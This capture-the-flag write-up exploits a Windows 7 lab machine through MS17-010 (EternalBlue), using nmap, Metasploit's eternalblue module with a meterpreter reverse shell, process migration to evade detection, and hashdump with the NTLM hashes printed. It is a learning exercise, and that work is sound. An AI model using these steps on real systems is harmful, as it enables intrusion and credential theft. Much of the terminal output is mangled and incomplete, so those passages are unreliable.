Scanning

I first scan the machine to see what ports and services are opened. My machine's IP is 10.10.183.78



I run an nmap scan in my terminal using the flash -sV to prove open ports and service information, and -sC for a default script scan. If you want to learn more about script scans you can check out Usage and Examples | Nmap Network Scanning

```
oot@ip-10-10-45-164:~# nmap -sV -sC 10.10.183.78
Starting Nmap 7.60 ( https://nmap.org ) at 2022-03-23 16:02 GMT
Nmap scan report for ip-10-10-183-78.eu-west-1.compute.internal (10.10.183.78)
Host is up (0.00049s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microso
ft-ds (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server Microsoft Terminal Service
ssl-cert: Subject: commonName=Jon-PC
Not valid before: 2022-03-22T15:58:35
 Not valid after: 2022-09-21T15:58:35
 ssl-date: 2022-03-23T16:04:39+00:00; 0s from scanner time.
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
                                       Microsoft Windows RPC
49160/tcp open msrpc
MAC Address: 02:2C:DE:8B:92:45 (Unknown)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

I notice that this machine has a Windows 7 OS and has SMB ports opened 139 and 445 opened. I also notice that there is a ssl-cert with the commonName=Jon-PC which leads me to believe that there may be a Jon user. Since Windows legacy machines typically have a ton of SMB vulnerabilities, I decided to run a nmap vulnerability script for the SMB port to see if any are exploitable.

root@ip-10-10-45-164:~# nmap --script vuln -p139,445 10.10.183.78

```
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
 smb-vuln-ms17-010:
    VULNERABLE:
    Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
      State: VULNERABLE
      IDs: CVE:CVE-2017-0143
      Risk factor: HIGH
        A critical remote code execution vulnerability exists in Microsoft SMBv1
         servers (ms17-010).
      Disclosure date: 2017-03-14
        https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
        https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-fo
r-wannacrypt-attacks/
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
```

The nmap vulnerability script revealed to us that this machine is vulnerable to ms17-010. With a quick google search we find out that this vulnerability is also referred to as EternalBlue which makes sense as to why this CTF is called "Blue". I also found out that this vulnerability is a result of a buffer overflow.

MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

Disclosed	Created
03/14/2017	05/30/2018

Description

This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.

Exploitation

I opened up msfconsole and decided to search for this exploit there.

root@ip-10-10-45-164:~# msfconsole

<u>msf5</u> > search ms17

```
auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
              Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enum
eration
 2 auxiliary/admin/mssql/mssql_enum_sql_logins
             Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration
ormal No
      auxiliary/admin/mssql/mssql_escalate_execute_as
ormal
      No Microsoft SQL Server Escalate EXECUTE AS
      auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
ormal
 5 auxiliary/admin/smb/ms17_010_command
                                                           2017-03-14
ormal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote
Windows Command Execution
  6 auxiliary/scanner/smb/smb_ms17_010
      No MS17-010 SMB RCE Detection
ormal
      exploit/windows/fileformat/office_ms17_11882
                                                           2017-11-15
anual No Microsoft Office CVE-2017-11882
 8 exploit/windows/smb/ms17 010 eternalblue
                                                           2017-03-14
verage Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
  9 exploit/windows/smb/ms17_010_psexec
                                                           2017-03-14
             MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote
ormal
Windows Code Execution
  10 exploit/windows/smb/smb_doublepulsar_rce
                                                           2017-04-14
```

I found the one I was looking for under option 8.

```
*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf5 exploit(wi
                                           ue) > show options
Module options (exploit/windows/smb/ms17 010 eternalblue):
                 Current Setting Required Description
  Name
  RHOSTS
                                            The target host(s), range CIDR iden
tifier, or hosts file with syntax 'file:<path>'
                                  yes
                                            The target port (TCP)
   SMBDomain
                                            (Optional) The Windows domain to us
  for authentication
  SMBPass
                                            (Optional) The password for the spe
cified username
                                            (Optional) The username to authenti
  SMBUser
cate as
  VERIFY_ARCH
                 true
                                  yes
                                            Check if remote architecture matche
  exploit Target.
  VERIFY_TARGET true
                                            Check if remote OS matches exploit
```

I set the RHOST to the machine's IP I am exploiting. Then I ran the exploit and waited to see if it would work. This specific exploit performs a scan before running the actual exploit to see if the machine is vulnerable first. However, not all exploits

do this and in an actual penetration test it is best practice to make sure a machine is vulnerable before free running an exploit.

```
msf5 exploit(w
                                    eternalblue) > set rhosts 10.10.183.78
rhosts => 10.10.183.78
msf5 exploit(windows/s
*] Started reverse TCP handler on 10.10.45.164:4444
*] 10.10.183.78:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
+] 10.10.183.78:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 P
  ] 10.10.183.78:445 - Scanned 1 of 1 hosts (100% complete)
  ] 10.10.183.78:445 - Connecting to target for exploitation.
 +] 10.10.183.78:445 - Connection established for exploitation.
+] 10.10.183.78:445 - Target OS selected valid for OS indicated by SMB reply
  ] 10.10.183.78:445 - CORE raw buffer dump (42 bytes)
] 10.10.183.78:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65
 *] 10.10.183.78:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72
  sional 7601 Serv
 *] 10.10.183.78:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31
    ice Pack 1
[+] 10.10.183.78:445 - Target arch selected valid for arch indicated by DCE/RPC
reply
    10.10.183.78:445 - Trying exploit with 12 Groom Allocations.
    10.10.183.78:445 - Sending all but last fragment of exploit packet
 =-=-=-=-=-=-=-=-=-=-=-WTN-=-=-=-=-=-=-=-=-=-=
```

We got a meterpreter shell! I ran the **ps** command to list all of the processes on the system and decided to migrate to the LiteAgent.exe process. Migrating your process into another process on the system can help evade detection or aid in elevating privileges.

Now I ran the hashdump command to dump all of the passwords. Turns out there is a user named Jon!

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08
9c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

If you do a quick google search about hashes for Windows systems, you will find out that they use NTLM hashes, and how the fields are broken down.

LM hash break down

- First field: the username
- Second field: the SID (Security IDentifier) for that username
- Third field: the LM hash
- Forth field: the NTLM hash

After knowing this, I copy and paste the fourth field of Jon's hash in a text file.

```
GNU nano 2.9.3 hash.txt Modified

ffb43f0de35be4d9917ac0cc8ad57f8d
```

I decided to crack the hash with John the Ripper and use the rockyou.txt wordlist. Since I am on the THM VM, I decided to do a quick grep for the file location of the wordlist.

Now time to find the flags.

```
meterpreter > shell
Process 2736 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd config
cd config
```

I found flag 2 located in the C:\Windows\System32\config

I decided to check out the C:\ to see if there was anything there.

```
C:\Windows\System32\config>cd ..
cd ..
C:\Windows\System32>cd ..
cd ..
C:\Windows>cd ..
cd ..
```

And there was flag 1!

Next, I was going to check out the files for Jon to see if there was a flag.

```
C:\Users\Jon>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is E611-0B66
 Directory of C:\Users\Jon
12/12/2018 10:13 PM
                     <DIR>
Contacts
                                 Desktop
                                 Documents
Downloads
                                 Favorites
                                 Links
                                 Music
                                 Pictures
                                 Saved Games
12/12/2018 10:13 PM <DIR>
                                  Searches
12/12/2018 10:13 PM
                                  Videos
                     <DIR>
             0 File(s)
                                 0 bytes
            13 Dir(s) 20,443,758,592 bytes free
```

The last flag is located in Jon's Documents

```
C:\Users\Jon>cd Documents
cd Documents
C:\Users\Jon\Documents>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is E611-0B66
Directory of C:\Users\Jon\Documents
12/12/2018 10:49 PM
                       <DIR>
12/12/2018 10:49 PM
                      <DIR>
03/17/2019 02:26 PM
                                   37 flag3.txt
               1 File(s)
                                   37 bytes
               2 Dir(s) 20,443,758,592 bytes free
```